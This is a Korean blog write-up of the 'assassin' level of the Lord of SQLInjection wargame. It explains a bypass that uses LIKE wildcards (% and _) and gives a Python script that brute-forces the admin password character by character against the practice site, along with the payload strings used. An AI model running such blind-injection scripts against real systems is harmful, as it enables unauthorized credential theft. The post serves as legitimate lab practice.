Yozzang의 해킹일기 💻
article thumbnail
728x90

이번 포스트에서는 Lord of SQLInjection의 assassin문제에 대해 다루겠다.

 


문제를 클릭하면 다음과 같이 쿼리와 php코드가 표시된 화면을 볼 수 있다.

assassin

## 문제 해석 : 

해당 문제는 preg_match() 함수를 통해 '를 필터링한 것을 알 수 있다.

또한 id값이 admin일때만 문제를 해결할 수 있는 것으로 보인다.

 

## 문제 풀이 : 

해당 문제는 "%"와 "_"를 활용하여 풀어낼 수 있다.

%, _
%a : a로 끝나는 문자열
a%: a로 시작하는 문자열
%a%: a가 포함된 문자열
_%: 임의의 글자로 시작하는 문자열

### 사용할 공격문 : pw=9%

### 실행 결과 : 

1차 시도

Hello guest가 출력된 것을 보아 guest의 비밀번호는 9로 시작하는 것을 알 수 있다.

 

이렇게 글자 하나 하나씩 대입해서 문제를 해결할 수도 있겠지만 너무 비효율적이다. 따라서 "_"로 비밀번호의 길이를 알아낸 다음에 자동화 코드를 통해 admin의 비밀번호를 알아내겠다.

### 공격 코드 :

url = "https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php?"  # 공격 사이트
cookies = {'PHPSESSID': '세션ID'}  # 본인의 세션값
string = '1234567890abcdefghijklmnopqrstuvwxyz'  # 대입할 전체 문자열
pw = ""  # 비밀번호 초기화
get_len = '_'  # 비밀번호 길이 측정 변수 초기화

while 1:  # while문 생성
    query = f"{get_len}%"  # 쿼리 작성 (비밀번호 길이 알아내기)
    params = {"pw": query}  # 파라미터에 작성한 쿼리문 삽입
    response = requests.get(url, params=params, cookies=cookies)  # 요청
    # Hello guest와 Hello admin이 응답에 없다면, 즉 비밀번호 최대 길이에 도달한다면
    if "Hello guest" not in response.text and "Hello admin" not in response.text:
        max_length = get_len.count("_")  # max_length 변수에 저장
        break  # 탈출
    get_len += "_"  # get_len에 "_" 하나 추가

print("[+] GET PASSWORD MAX_LENGTH = ", max_length)  # 비밀번호 최대 길이 출력

for i in range(1, max_length + 1):  # 비밀번호 최대 길이만큼 for문 생성
    for j in string:  # for문을 통해 문자열 전체를 차례대로 대입
        query = f"{pw}{j}%"  # 쿼리 작성 (최소한의 비밀번호 알아내기)
        params = {"pw": query}  # 파라미터에 작성한 쿼리문 삽입
        response = requests.get(url, params=params, cookies=cookies)  # 요청
        if "Hello admin" in response.text:  # Hello admin이 응답에 있다면
            pw += j  # pw에 j 추가
            print(f"[+] FOUND ADMIN PASSWORD = ", pw)  # 결과 출력
            exit()  # 종료
        if "Hello guest" in response.text:  # Hello guest가 응답에 있다면
            pw += j  # pw에 j 추가
            print(f"[+] CURRENT PASSWORD = {pw}")  # 현재까지 알아낸 비밀번호 출력
            break  # 탈출

### 실행 결과 :

admin pw = 902

 

### 최종 공격문 : pw=902%

### 실행 결과 : 

공격 성공

 

profile

Yozzang의 해킹일기 💻

@요짱

포스팅이 좋았다면 "좋아요❤️" 또는 "구독👍🏻" 해주세요!